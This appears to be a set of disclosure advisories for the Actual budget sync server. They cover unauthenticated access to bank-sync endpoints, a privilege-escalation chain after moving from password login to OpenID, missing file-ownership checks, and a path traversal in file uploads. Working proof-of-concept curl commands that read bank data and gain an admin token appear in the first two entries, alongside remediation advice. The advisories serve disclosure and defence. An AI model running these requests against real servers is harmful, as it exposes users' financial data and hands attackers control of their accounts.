Summary

Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.

Impact

This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.

Details

The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.

The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/): /packages/sync-server/src/app-simplefin/app-simplefin.js /packages/sync-server/src/app-pluggyai/app-pluggyai.js

The sensitive endpoints missing authentication are: POST /simplefin/status POST /simplefin/accounts POST /simplefin/transactions POST /pluggyai/status POST /pluggyai/accounts POST /pluggyai/transactions

The following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js): js const app = express(); app.use(requestLoggerMiddleware); ... app.use(express.json()); app.use(validateSessionMiddleware); // <-- Uses authentication

PoC

The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.

SimpleFIN: bash Check if SimpleFIN is configured curl -X POST "https://<actualbudgethost>/simplefin/status"

List SimpleFIN accounts curl -X POST "https://<actualbudgethost>/simplefin/accounts"

List SimpleFIN transactions with an account ID from the previous request curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

PluggyAI: bash Check if PluggyAI is configured curl -X POST "https://<actualbudgethost>/pluggyai/status"

List Pluggy.ai accounts curl -X POST "https://<actualbudgethost>/pluggyai/accounts"

List Pluggy.ai transactions with an account ID from the previous request curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

Example response from POST /simplefin/accounts: json { "status": "ok", "data": { "accounts": [ { "id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "name": "CHEQUING ACCOUNT", "currency": "CAD", "balance": "1234.56", "available-balance": "0.00", "balance-date": 1771531758, "transactions": [], "holdings": [], "org": { "domain": "www.cibc.com", "name": "CIBC", "sfin-url": "https://beta-bridge.simplefin.org/simplefin", "url": "https://www.cibconline.cibc.com", "id": "www.cibconline.cibc.com" } }, ... ] } }

Example response from POST /simplefin/transactions: json { "status": "ok", "data": { "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": { "balances": [ { "balanceAmount": { "amount": "1234.56", "currency": "CAD" }, "balanceType": "expected", "referenceDate": "2026-02-19" }, { "balanceAmount": { "amount": "1234.56", "currency": "CAD" }, "balanceType": "interimAvailable", "referenceDate": "2026-02-19" } ], "startingBalance": 123456, "transactions": { "all": [ { "booked": true, "sortOrder": 1771502400, "date": "2026-02-19", "payeeName": "E-Transfer", "notes": "SEND E-TFR ABC", "transactionAmount": { "amount": "-12.00", "currency": "USD" }, "transactionId": "TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "transactedDate": "2026-02-19", "postedDate": "2026-02-19" }, ... ], "pending": [] } } } }

Summary

Any authenticated user (including BASIC role) can escalate to ADMIN on servers migrated from password authentication to OpenID Connect. Three weaknesses combine: POST /account/change-password has no authorization check, allowing any session to overwrite the password hash; the inactive password auth row is never removed on migration; and the login endpoint accepts a client-supplied loginMethod that bypasses the server's active auth configuration. Together these allow an attacker to set a known password and authenticate as the anonymous admin account created during the multiuser migration.

---

Details

packages/sync-server/src/app-account.js:120-132 — the /account/change-password route validates only that a session exists. No admin role check is performed

js app.post('/change-password', (req, res) => { const session = validateSession(req, res); // only checks token validity if (!session) return; const { error } = changePassword(req.body.password); // no isAdmin() check

packages/sync-server/src/accounts/password.js:113-125 — changePassword() updates the hash with no current-password confirmation:

js export function changePassword(newPassword) { accountDb.mutate("UPDATE auth SET extradata = ? WHERE method = 'password'", [hashed]); }

packages/sync-server/src/accounts/password.js:56-62 — loginWithPassword() always authenticates as the user with username = '', which is created by the multiuser migration with role = 'ADMIN':

js const sessionRow = accountDb.first( 'SELECT FROM sessions WHERE authmethod = ?', ['password'] );

packages/sync-server/src/account-db.js:56-63 — a client can force the password login method regardless of server configuration by sending loginMethod in the request body:

js if (req.body.loginMethod && config.get('allowedLoginMethods').includes(req.body.loginMethod)) { return req.body.loginMethod; }

When a server is migrated from password → OpenID via enableOpenID(), the password row is set to active = 0 but never deleted, leaving it available for exploitation.

---

PoC

Prerequisites: Server originally bootstrapped with password auth, then switched to OpenID. Default allowedLoginMethods configuration (includes password). Attacker has any valid OpenID session token (any role).

bash Step 1 — overwrite the password hash using a BASIC-role session curl -s -X POST https://<host>/account/change-password \ -H "Content-Type: application/json" \ -H "X-Actual-Token: <anyvalidsessiontoken>" \ -d '{"password": "attacker123"}' → {"status":"ok","data":{}}

Step 2 — log in via password method to obtain an ADMIN session curl -s -X POST https://<host>/account/login \ -H "Content-Type: application/json" \ -d '{"loginMethod": "password", "password": "attacker123"}' → {"status":"ok","data":{"token":"<admintoken>"}}

The returned token belongs to the username = '' admin account (created by 1719409568000-multiuser.js).

Verify admin access: bash curl -s https://<host>/account/validate \ -H "X-Actual-Token: <admintoken>" → {"status":"ok","data":{"permission":"ADMIN", ...}}

---

Impact

Privilege escalation — any authenticated user can gain full ADMIN access on affected deployments. An ADMIN can manage all users, access all budget files regardless of ownership, modify file access controls, and change server configuration.

Affected deployments: multi-user servers running OpenID Connect that were previously configured with password authentication. Servers bootstrapped exclusively with OpenID from initial setup are not affected (no password row exists in the auth table).

---

Recommendations

1. Restrict POST /account/change-password to password-authenticated sessions only (packages/sync-server/src/app-account.js)

The endpoint should reject requests from sessions that were authenticated via OpenID. The active auth method can be checked against the session's authmethod field or by querying the auth table for the currently active method. If the server is running in OpenID mode, this endpoint should return 403 Forbidden.

2. Require current-password confirmation before accepting a new password (packages/sync-server/src/accounts/password.js)

changePassword() should accept the current password as a parameter and verify it against the stored hash before applying the update. This prevents any session (even a legitimate password session) from silently overwriting the credential without proving possession of the existing one.

3. Enforce active status and remove client control over login method selection (packages/sync-server/src/account-db.js — getLoginMethod())

Two issues exist in getLoginMethod(): (a) a client can supply loginMethod in the request body to select any method listed in allowedLoginMethods, regardless of whether it is currently active on the server; (b) the function does not check the active column, so an administratively disabled method (e.g. password after migrating to OpenID) remains accessible. The fix is to determine the permitted method server-side from WHERE active = 1 in the auth table and ignore any client-supplied loginMethod override entirely. Servers intentionally running both methods simultaneously can be supported by allowing multiple active = 1 rows rather than relying on client input.

4. Immediate mitigation for existing deployments (OpenID-only servers)

Administrators who have fully migrated to OpenID and do not need password auth can remove the orphaned row:

sql DELETE FROM auth WHERE method = 'password';

####

The three weaknesses form a single, sequential exploit chain — none produces privilege escalation on its own:

Missing authorization on POST /change-password — allows overwriting a password hash, but only matters if there is an orphaned row to target. Orphaned password row persisting after migration — provides the target row, but is harmless without the ability to authenticate using it. Client-controlled loginMethod: "password" — allows forcing password-based auth, but is useless without a known hash established by step 1.

All three must be chained in sequence to achieve the impact. No single weakness independently results in privilege escalation, which under CVE CNA rule 4.1.2 means they should not each be treated as standalone vulnerabilities. The single root cause is the missing authorization check on /change-password; the other two are preconditions that make it exploitable. A single CVE reflecting that root cause is the appropriate representation — splitting them would falsely imply each carries independent risk.

Actual is a local-first personal finance tool. Prior to version 26.2.1, in multi-user mode (OpenID), the sync API endpoints (/sync/) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. Version 26.2.1 patches the issue.

Description

Actual Sync Server allows authenticated users to upload files through POST /sync/upload-user-file. In versions prior to 26.3.0, improper validation of the user-controlled x-actual-file-id header means that traversal segments (../) can escape the intended directory and write files outside userFiles.

Mitigations The vulnerability can be mitigated in prior versions by running the sync server in a filesystem sandbox.